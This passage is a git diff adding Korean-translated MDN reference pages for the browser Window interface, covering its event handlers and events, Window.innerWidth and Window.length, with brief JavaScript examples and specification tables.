+ <dt>{{domxref("Window.back()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Moves back one in the window history. This method is deprecated; you should instead use {{domxref("History.back", "window.history.back()")}}.</dd>
+ <dt>{{domxref("Window.captureEvents()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Registers the window to capture all events of the specified type.</dd>
+ <dt>{{domxref("Window.forward()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Moves the window one document forward in the history. This method is deprecated; you should instead use {{domxref("History.forward", "window.history.forward()")}}.</dd>
+ <dt>{{domxref("Window.getAttention()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Flashes the application icon.</dd>
+ <dt>{{domxref("Window.home()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Returns the browser to the home page.</dd>
+ <dt>{{domxref("Window.openDialog()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Opens a new dialog window.</dd>
+ <dt>{{domxref("Window.releaseEvents()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Releases the window from trapping events of a specific type.</dd>
+ <dt>{{domxref("Window.showModalDialog()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Displays a modal dialog.</dd>
+</dl>
+</div>
+
+<h2 id="이벤트_처리기">이벤트 처리기</h2>
+
+<p>These are properties of the window object that can be set to establish event handlers for the various things that can happen in the window that might be of interest.</p>
+
+<p><em>This interface inherits event handlers from the {{domxref("EventTarget")}} interface and implements event handlers from {{domxref("WindowEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Window.onappinstalled")}}</dt>
+ <dd>Called when the page is installed as a webapp. See {{event('appinstalled')}} event.</dd>
+ <dt>{{domxref("Window.onbeforeinstallprompt")}}</dt>
+ <dd>An event handler property dispatched before a user is prompted to save a web site to a home screen on mobile.</dd>
+ <dt>{{domxref("Window.ondevicelight")}}</dt>
+ <dd>An event handler property for any ambient light levels changes</dd>
+ <dt>{{domxref("Window.ondevicemotion")}}</dt>
+ <dd>Called if accelerometer detects a change (For mobile devices)</dd>
+ <dt>{{domxref("Window.ondeviceorientation")}}</dt>
+ <dd>Called when the orientation is changed (For mobile devices)</dd>
+ <dt>{{domxref("Window.ondeviceorientationabsolute")}} {{non-standard_inline}}</dt>
+ <dd>An event handler property for any device orientation changes.</dd>
+ <dt>{{domxref("Window.ondeviceproximity")}}</dt>
+ <dd>An event handler property for device proximity event</dd>
+ <dt>{{domxref("Window.ongamepadconnected")}}</dt>
+ <dd>Represents an event handler that will run when a gamepad is connected (when the {{event('gamepadconnected')}} event fires).</dd>
+ <dt>{{domxref("Window.ongamepaddisconnected")}}</dt>
+ <dd>Represents an event handler that will run when a gamepad is disconnected (when the {{event('gamepaddisconnected')}} event fires).</dd>
+ <dt>{{domxref("Window.onmozbeforepaint")}}</dt>
+ <dd>An event handler property for the <code>MozBeforePaint</code> event, which is sent before repainting the window if the event has been requested by a call to the {{domxref("Window.mozRequestAnimationFrame()")}} method.</dd>
+ <dt>{{domxref("Window.onpaint")}}</dt>
+ <dd>An event handler property for paint events on the window.</dd>
+ <dt>{{domxref("Window.onrejectionhandled")}} {{experimental_inline}}</dt>
+ <dd>An event handler for handled {{jsxref("Promise")}} rejection events.</dd>
+ <dt>{{domxref("Window.onuserproximity")}}</dt>
+ <dd>An event handler property for user proximity events.</dd>
+ <dt>{{domxref("Window.onvrdisplayconnect")}}</dt>
+ <dd>Represents an event handler that will run when a compatible VR device has been connected to the computer (when the {{event("vrdisplayconnected")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplaydisconnect")}}</dt>
+ <dd>Represents an event handler that will run when a compatible VR device has been disconnected from the computer (when the {{event("vrdisplaydisconnected")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplayactivate")}}</dt>
+ <dd>Represents an event handler that will run when a display is able to be presented to (when the {{event("vrdisplayactivate")}} event fires), for example if an HMD has been moved to bring it out of standby, or woken up by being put on.</dd>
+ <dt>{{domxref("Window.onvrdisplaydeactivate")}}</dt>
+ <dd>Represents an event handler that will run when a display can no longer be presented to (when the {{event("vrdisplaydeactivate")}} event fires), for example if an HMD has gone into standby or sleep mode due to a period of inactivity.</dd>
+ <dt>{{domxref("Window.onvrdisplayblur")}}</dt>
+ <dd>Represents an event handler that will run when presentation to a display has been paused for some reason by the browser, OS, or VR hardware (when the {{event("vrdisplayblur")}} event fires) — for example, while the user is interacting with a system menu or browser, to prevent tracking or loss of experience.</dd>
+ <dt>{{domxref("Window.onvrdisplayfocus")}}</dt>
+ <dd>Represents an event handler that will run when presentation to a display has resumed after being blurred (when the {{event("vrdisplayfocus")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplaypresentchange")}}</dt>
+ <dd>represents an event handler that will run when the presenting state of a VR device changes — i.e. goes from presenting to not presenting, or vice versa (when the {{event("vrdisplaypresentchange")}} event fires).</dd>
+</dl>
+
+<h3 id="Event_handlers_implemented_from_elsewhere">Event handlers implemented from elsewhere</h3>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt>
+ <dd>Called when the loading of a resource has been aborted, such as by a user canceling the load while it is still in progress</dd>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Called when the print dialog box is closed. See {{event("afterprint")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Called when the print dialog box is opened. See {{event("beforeprint")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>An event handler property for before-unload events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt>
+ <dd>Called after the window loses focus, such as due to a popup.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt>
+ <dd>An event handler property for change events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt>
+ <dd>Called after the ANY mouse button is pressed &amp; released</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt>
+ <dd>Called when a double click is made with ANY mouse button.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt>
+ <dd>Called after the window is closed</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt>
+ <dd>Called when the RIGHT mouse button is pressed</dd>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>Called when a resource fails to load OR when an error occurs at runtime. See {{event("error")}} event.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt>
+ <dd>Called after the window receives or regains focus. See {{event("focus")}} events.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}}</dt>
+ <dd>An event handler property for {{event('hashchange')}} events on the window; called when the part of the URL after the hash mark ("#") changes.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oninput")}}</dt>
+ <dd>Called when the value of an &lt;input&gt; element changes</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt>
+ <dd>Called when you begin pressing ANY key. See {{event("keydown")}} event.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt>
+ <dd>Called when a key (except Shift, Fn, and CapsLock) is in pressed position. See {{event("keypress")}} event.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt>
+ <dd>Called when you finish releasing ANY key. See {{event("keyup")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}}</dt>
+ <dd>An event handler property for {{event("languagechange")}} events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
+ <dd>Called after all resources and the DOM are fully loaded. WILL NOT get called when the page is loaded from cache, such as with back button.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
+ <dd>Called when ANY mouse button is pressed.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
+ <dd>Called continously when the mouse is moved inside the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt>
+ <dd>Called when the pointer leaves the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt>
+ <dd>Called when the pointer enters the window</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt>
+ <dd>Called when ANY mouse button is released</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Called when network connection is lost. See {{event("offline")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Called when network connection is established. See {{event("online")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Called when the user navigates away from the page, before the onunload event. See {{event("pagehide")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Called after all resources and the DOM are fully loaded. See {{event("pageshow")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}}</dt>
+ <dd>Called when a back button is pressed.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt>
+ <dd>Called when a form is reset</dd>
+ <dt>{{domxref("GlobalEventHandlers.onresize")}}</dt>
+ <dd>Called continuously as you are resizing the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
+ <dd>Called when the scroll bar is moved via ANY means. If the resource fully fits in the window, then this event cannot be invoked</dd>
+ <dt>{{domxref("GlobalEventHandlers.onwheel")}}</dt>
+ <dd>Called when the mouse wheel is rotated around any axis</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
+ <dd>Called after text in an input field is selected</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt>
+ <dd>Called when there is a change in session storage or local storage. See {{event("storage")}} event</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
+ <dd>Called when a form is submitted</dd>
+ <dt>{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}</dt>
+ <dd>An event handler for unhandled {{jsxref("Promise")}} rejection events.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunload")}}</dt>
+ <dd>Called when the user navigates away from the page.</dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<p>Listen to these events using <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> or by assigning an event listener to the <code>on<em>eventname</em></code> property of this interface.</p>
+
+<dl>
+ <dt>{{domxref("Window/error_event", "error")}}</dt>
+ <dd>Fired when when a resource failed to load, or can't be used. For example, if a script has an execution error or an image can't be found or is invalid.<br>
+ Also available via the {{domxref("GlobalEventHandlers/onerror", "onerror")}} property.</dd>
+ <dt>{{domxref("Window/languagechange_event", "languagechange")}}</dt>
+ <dd>Fired at the global scope object when the user's preferred language changes.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/WindowEventHandlers/onlanguagechange">onlanguagechange</a></code> property.</dd>
+ <dt>{{domxref("Window/orientationchange_event", "orientationchange")}}</dt>
+ <dd>Fired when the orientation of the device has changed.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/Window/onorientationchange">onorientationchange</a></code> property.</dd>
+ <dt>{{domxref("Window/devicemotion_event", "devicemotion")}}</dt>
+ <dd>Fired at a regular interval, indicating the amount of physical force of acceleration the device is receiving and the rate of rotation, if available.</dd>
+ <dt>{{domxref("Window/deviceorientation_event", "deviceorientation")}}</dt>
+ <dd>Fired when fresh data is available from the magnetometer orientation sensor about the current orientation of the device as compared to the Earth coordinate frame.</dd>
+ <dt>{{domxref("Document/defaultView/resize_event", "resize")}}</dt>
+ <dd>Fired when the window has been resized.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onresize">onresize</a></code> property.</dd>
+ <dt>{{domxref("Document/defaultView/storage_event", "storage")}}</dt>
+ <dd>Fired when a storage area (<code>localStorage</code> or <code>sessionStorage</code>) has been modified in the context of another document.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/WindowEventHandlers/onstorage">onstorage</a></code> property.</dd>
+</dl>
+
+<h3 id="Animation_events">Animation events</h3>
+
+<dl>
+ <dt>{{domxref("Window/animationcancel_event", "animationcancel")}}</dt>
+ <dd>Fired when an animation unexpectedly aborts.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onanimationcancel">onanimationcancel</a></code> property.</dd>
+ <dt>{{domxref("Window/animationend_event", "animationend")}}</dt>
+ <dd>Fired when an animation has completed normally.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onanimationend">onanimationend</a></code> property.</dd>
+ <dt>{{domxref("Window/animationiteration_event", "animationiteration")}}</dt>
+ <dd>Fired when an animation iteration has completed.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onanimationiteration">onanimationiteration</a></code> property.</dd>
+ <dt>{{domxref("Window/animationstart_event", "animationstart")}}</dt>
+ <dd>Fired when an animation starts.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onanimationstart">onanimationstart</a></code> property.</dd>
+</dl>
+
+<h3 id="Clipboard_events">Clipboard events</h3>
+
+<dl>
+ <dt>{{domxref("Window/clipboardchange_event", "clipboardchange")}}</dt>
+ <dd>Fired when the system clipboard content changes.</dd>
+ <dt>{{domxref("Window/copy_event", "copy")}}</dt>
+ <dd>Fired when the user initiates a copy action through the browser's user interface.<br>
+ Also available via the <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/oncopy"><code>oncopy</code></a> property.</dd>
+ <dt>{{domxref("Window/cut_event", "cut")}}</dt>
+ <dd>Fired when the user initiates a cut action through the browser's user interface.<br>
+ Also available via the <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/oncut"><code>oncut</code></a> property.</dd>
+ <dt>{{domxref("Window/paste_event", "paste")}}</dt>
+ <dd>Fired when the user initiates a paste action through the browser's user interface.<br>
+ Also available via the <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/onpaste"><code>onpaste</code></a> property.</dd>
+</dl>
+
+<h3 id="Connection_events">Connection events</h3>
+
+<dl>
+ <dt>{{domxref("Window/offline_event", "offline")}}</dt>
+ <dd>Fired when the browser has lost access to the network and the value of <code>navigator.onLine</code> has switched to <code>false</code>.<br>
+ Also available via the {{domxref("WindowEventHandlers.onoffline", "onoffline")}} property.</dd>
+ <dt>{{domxref("Window/online_event", "online ")}}<code><a href="/en-US/docs/Web/API/Window/online_event"> </a></code></dt>
+ <dd>Fired when the browser has gained access to the network and the value of <code>navigator.onLine</code> has switched to <code>true</code>.<br>
+ Also available via the {{domxref("WindowEventHandlers.ononline", "ononline")}} property.</dd>
+</dl>
+
+<h3 id="Focus_events">Focus events</h3>
+
+<dl>
+ <dt>{{domxref("Window/blur_event", "blur")}}</dt>
+ <dd>Fired when an element has lost focus.<br>
+ Also available via the <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onblur"><code>onblur</code></a> property.</dd>
+ <dt>{{domxref("Window/focus_event", "focus")}}</dt>
+ <dd>Fired when an element has gained focus.<br>
+ Also available via the <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onfocus"><code>onfocus</code></a> property</dd>
+</dl>
+
+<h3 id="Gamepad_events">Gamepad events</h3>
+
+<dl>
+ <dt>{{domxref("Window/gamepadconnected_event", "gamepadconnected")}}</dt>
+ <dd>Fired when the browser detects that a gamepad has been connected or the first time a button/axis of the gamepad is used.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/Window/ongamepadconnected">ongamepadconnected</a></code> property.</dd>
+ <dt>{{domxref("Window/gamepaddisconnected_event", "gamepaddisconnected")}}</dt>
+ <dd>Fired when the browser detects that a gamepad has been disconnected.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/Window/ongamepaddisconnected">ongamepaddisconnected</a></code> property</dd>
+</dl>
+
+<h3 id="History_events">History events</h3>
+
+<dl>
+ <dt>{{domxref("Window/hashchange_event", "hashchange")}}</dt>
+ <dd>Fired when the fragment identifier of the URL has changed (the part of the URL beginning with and following the <code>#</code> symbol).<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/WindowEventHandlers/onhashchange">onhashchange</a></code> property.</dd>
+ <dt>{{domxref("Window/pagehide_event", "pagehide")}}</dt>
+ <dd>Sent when the browser hides the current document while in the process of switching to displaying in its place a different document from the session's history. This happens, for example, when the user clicks the Back button or when they click the Forward button to move ahead in session history.<br>
+ Also available through the <code><a href="/en-US/docs/Mozilla/Tech/XUL/Attribute/onpagehide">onpagehide</a></code> event handler property.</dd>
+ <dt>{{domxref("Window/pageshow_event", "pageshow")}}</dt>
+ <dd>Sent when the browser makes the document visible due to navigation tasks, including not only when the page is first loaded, but also situations such as the user navigating back to the page after having navigated to another within the same tab.<br>
+ Also available using the <code><a href="/en-US/docs/Mozilla/Tech/XUL/Attribute/onpageshow">onpageshow</a></code> event handler property.</dd>
+ <dt>{{domxref("Window/popstate_event", "popstate")}}</dt>
+ <dd>Fired when the active history entry changes.<br>
+ Also available using the <code><a href="/en-US/docs/Web/API/WindowEventHandlers/onpopstate">onpopstate</a></code> event handler property.</dd>
+</dl>
+
+<h3 id="Load_unload_events">Load &amp; unload events</h3>
+
+<dl>
+ <dt>{{domxref("Window/beforeunload_event", "beforeunload")}}</dt>
+ <dd>Fired when the window, the document and its resources are about to be unloaded.<br>
+ Also available via the {{domxref("WindowEventHandlers/onbeforeunload", "onbeforeunload")}} property.</dd>
+ <dt>{{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}</dt>
+ <dd>Fired when the document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading.</dd>
+ <dt>{{domxref("Window/load_event", "load")}}</dt>
+ <dd>Fired when the whole page has loaded, including all dependent resources such as stylesheets images.<br>
+ Also available via the {{domxref("GlobalEventHandlers/onload", "onload")}} property.</dd>
+ <dt>{{domxref("Window/unload_event", "unload")}}</dt>
+ <dd>Fired when the document or a child resource is being unloaded.<br>
+ Also available via the {{domxref("WindowEventHandlers/onunload", "onunload")}} property.</dd>
+</dl>
+
+<h3 id="Manifest_events">Manifest events</h3>
+
+<dl>
+ <dt>{{domxref("Window/appinstalled_event", "appinstalled")}}</dt>
+ <dd>Fired when the browser has successfully installed a page as an application.<br>
+ Also available via the {{domxref("Window/onappinstalled", "onappinstalled")}} property.</dd>
+ <dt>{{domxref("Window/beforeinstallprompt_event", "beforeinstallprompt")}}</dt>
+ <dd>Fired when a user is about to be prompted to install a web application.<br>
+ Also available via the {{domxref("Window/onbeforeinstallprompt", "onbeforeinstallprompt")}} property.</dd>
+</dl>
+
+<h3 id="Messaging_events">Messaging events</h3>
+
+<dl>
+ <dt>{{domxref("Window/message_event", "message")}}</dt>
+ <dd>Fired when the window receives a message, for example from a call to {{domxref("Window/postMessage", "Window.postMessage()")}} from another browsing context.<br>
+ Also available via the {{domxref("WindowEventHandlers/onmessage", "onmessage")}} property.</dd>
+ <dt>{{domxref("Window/messageerror_event", "messageerror")}}</dt>
+ <dd>Fired when a <code>Window</code> object receives a message that can't be deserialized.<br>
+ Also available via the {{domxref("WindowEventHandlers/onmessageerror", "onmessageerror")}} property.</dd>
+</dl>
+
+<h3 id="Print_events">Print events</h3>
+
+<dl>
+ <dt>{{domxref("Window/afterprint_event", "afterprint")}}</dt>
+ <dd>Fired after the associated document has started printing or the print preview has been closed.<br>
+ Also available via the {{domxref("WindowEventHandlers/onafterprint", "onafterprint")}} property.</dd>
+ <dt>{{domxref("Window/beforeprint_event", "beforeprint")}}</dt>
+ <dd>Fired when the associated document is about to be printed or previewed for printing.<br>
+ Also available via the {{domxref("WindowEventHandlers/onbeforeprint", "onbeforeprint")}} property.</dd>
+</dl>
+
+<h3 id="Promise_rejection_events">Promise rejection events</h3>
+
+<dl>
+ <dt>{{domxref("Window/rejectionhandled_event", "rejectionhandled")}}</dt>
+ <dd>Sent every time a JavaScript {{jsxref("Promise")}} is rejected, regardless of whether or not there is a handler in place to catch the rejection.<br>
+ Also available through the <code><a href="/en-US/docs/Web/API/WindowEventHandlers/onrejectionhandled">onrejectionhandled</a></code> event handler property.</dd>
+ <dt>{{domxref("Window/unhandledrejection_event", "unhandledrejection")}}</dt>
+ <dd>Sent when a JavaScript {{jsxref("Promise")}} is rejected but there is no handler in place to catch the rejection.<br>
+ Also available using the <code><a href="/en-US/docs/Web/API/WindowEventHandlers/onunhandledrejection">onunhandledrejection</a></code> event handler property.</dd>
+</dl>
+
+<h3 id="Transition_events">Transition events</h3>
+
+<dl>
+ <dt>{{domxref("Window/transitioncancel_event", "transitioncancel")}}</dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> is canceled.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/ontransitioncancel">ontransitioncancel</a></code> property.</dd>
+ <dt>{{domxref("Window/transitionend_event", "transitionend")}}</dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> has completed.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/ontransitionend">ontransitionend</a></code> property.</dd>
+ <dt>{{domxref("Window/transitionrun_event", "transitionrun")}}</dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> is first created.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/ontransitionrun">ontransitionrun</a></code> property.</dd>
+ <dt>{{domxref("Window/transitionstart_event", "transitionstart")}}</dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> has actually started.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/ontransitionstart">ontransitionstart</a></code> property.</dd>
+</dl>
+
+<h3 id="WebVR_events">WebVR events</h3>
+
+<dl>
+ <dt>{{domxref("Window/vrdisplayactivate_event", "vrdisplayactivate")}}</dt>
+ <dd>Fired when a VR display becomes available to be presented to, for example if an HMD has been moved to bring it out of standby, or woken up by being put on.<br>
+ Also available via the {{domxref("Window/onvrdisplayactivate", "onvrdisplayactivate")}} property.</dd>
+ <dt>{{domxref("Window/vrdisplayblur_event", "vrdisplayblur")}}</dt>
+ <dd>Fired when presentation to a VR display has been paused for some reason by the browser, OS, or VR hardware.<br>
+ Also available via the {{domxref("Window/onvrdisplayblur", "onvrdisplayblur")}} property.</dd>
+ <dt>{{domxref("Window/vrdisplayconnect_event", "vrdisplayconnect")}}</dt>
+ <dd>Fired when a compatible VR display is connected to the computer.<br>
+ Also available via the {{domxref("Window/onvrdisplayconnect", "onvrdisplayconnect")}} property.</dd>
+ <dt>{{domxref("Window/vrdisplaydeactivate_event", "vrdisplaydeactivate")}}</dt>
+ <dd>Fired when a VR display can no longer be presented to, for example if an HMD has gone into standby or sleep mode due to a period of inactivity.<br>
+ Also available via the {{domxref("Window/onvrdisplaydeactivate", "onvrdisplaydeactivate")}} property.</dd>
+ <dt>{{domxref("Window/vrdisplaydisconnect_event", "vrdisplaydisconnect")}}</dt>
+ <dd>Fired when a compatible VR display is disconnected from the computer.<br>
+ Also available via the {{domxref("Window/onvrdisplaydisconnect", "onvrdisplaydisconnect")}} property.</dd>
+ <dt>{{domxref("Window/vrdisplayfocus_event", "vrdisplayfocus")}}</dt>
+ <dd>Fired when presentation to a VR display has resumed after being blurred.<br>
+ Also available via the {{domxref("Window/onvrdisplayfocus", "onvrdisplayfocus")}} property.</dd>
+ <dt>{{domxref("Window/vrdisplaypresentchange_event", "vrdisplaypresentchange")}}</dt>
+ <dd>Fired when the presenting state of a VR display changes — i.e. goes from presenting to not presenting, or vice versa.<br>
+ Also available via the {{domxref("Window/onvrdisplaypresentchange", "onvrdisplaypresentchange")}} property.</dd>
+ <dt>{{domxref("Window/vrdisplaypointerrestricted_event", "vrdisplaypointerrestricted")}}</dt>
+ <dd>Fired when the VR display's pointer input is restricted to consumption via a <a href="/en-US/docs/Web/API/Pointer_Lock_API">pointerlocked element</a>.<br>
+ Also available via the {{domxref("Window/onvrdisplaypointerrestricted", "onvrdisplaypointerrestricted")}} property.</dd>
+ <dt>{{domxref("Window/vrdisplaypointerunrestricted_event", "vrdisplaypointerunrestricted")}}</dt>
+ <dd>Fired when the VR display's pointer input is no longer restricted to consumption via a <a href="/en-US/docs/Web/API/Pointer_Lock_API">pointerlocked element</a>.<br>
+ Also available via the {{domxref("Window/onvrdisplaypointerunrestricted", "onvrdisplaypointerunrestricted")}} property.</dd>
+</dl>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<p><a href="/ko/docs/Web/API/Document_Object_Model#DOM_인터페이스" title="/en-US/docs/DOM/DOM_Reference">DOM 인터페이스</a>를 참고하세요.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window")}}</p>
diff --git a/files/ko/web/api/window/innerwidth/index.html b/files/ko/web/api/window/innerwidth/index.html
new file mode 100644
index 0000000000..129b4a9347
--- /dev/null
+++ b/files/ko/web/api/window/innerwidth/index.html
@@ -0,0 +1,78 @@
+---
+title: Window.innerWidth
+slug: Web/API/Window/innerWidth
+tags:
+  - API
+  - Property
+  - Reference
+translation_of: Web/API/Window/innerWidth
+---
+<p>{{APIRef}}<br>
+ 브라우저 윈도우의 뷰포트 너비로, 수직 스크롤바가 존재한다면 포함합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<p> </p>
+
+<pre>var <var>intViewportWidth</var> = window.innerWidth;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p><strong><var>intViewportWidth</var></strong> stores the <code>window.innerWidth</code> property value.</p>
+
+<p>The <code>window.innerWidth</code> property is read only; it has no default value.</p>
+
+<h2 id="Notes" name="Notes">참고</h2>
+
+<p>innerWidth 값은 window, frame, frameset이나 다른 윈도우들처럼 모든 window 형식의 객체에서 사용할 수 있습니다.</p>
+
+<p>There is <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=189112#c7" title="https://bugzilla.mozilla.org/show_bug.cgi?id=189112#c7">an algorithm</a> to obtain the width of the viewport excluding, if rendered, the vertical scrollbar.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// 다음과 같이 뷰포트의 폭을 받아올 수 있습니다.
+var intFrameWidth = window.innerWidth;
+
+// 다음과 같이 frameset 안의 어떤 frame의 뷰포트 폭을 받아올 수 있습니다.
+var intFrameWidth = self.innerWidth;
+
+// 다음과 같이 가장 가까운 frameset의 뷰포트 폭을 받아올 수 있습니다.
+var intFramesetWidth = parent.innerWidth;
+
+// 다음과 같이 가장 바깥쪽 프레임셋의 뷰포트 폭을 받아올 수 있습니다.
+var intOuterFramesetWidth = top.innerWidth;</pre>
+
+<p>윈도우의 사이즈를 변경하려면, {{domxref("window.resizeBy")}} 또는 {{domxref("window.resizeTo")}}를 참조하세요.</p>
+
+<h2 id="Standards_information" name="Standards_information">명세</h2>
+
+<p> </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-window-innerwidth', 'window.innerWidth')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Window.innerWidth")}}</p>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<ul>
+ <li>{{domxref("window.outerWidth")}}</li>
+ <li>{{domxref("window.innerHeight")}}</li>
+ <li>{{domxref("window.outerHeight")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/length/index.html b/files/ko/web/api/window/length/index.html
new file mode 100644
index 0000000000..b2d61b92af
--- /dev/null
+++ b/files/ko/web/api/window/length/index.html
@@ -0,0 +1,51 @@
+---
+title: Window.length
+slug: Web/API/Window/length
+translation_of: Web/API/Window/length
+---
+<div>{{ ApiRef() }}</div>
+
+<p>window의 frame 개수를 반환합니다. ({{HTMLElement("frame")}} 또는 {{HTMLElement("iframe")}} 요소들 중 하나) </p>
+
+<h2 id="신텍스">신텍스</h2>
+
+<pre class="syntaxbox"><em>framesCount</em> = window.length;
+</pre>
+
+<ul>
+ <li><code>framesCount</code> 는 frame의 개수이다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">if (window.length) {
+  // document의 subframes
+}</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','browsers.html#dom-length','Window.length')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-length', 'Window.length')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
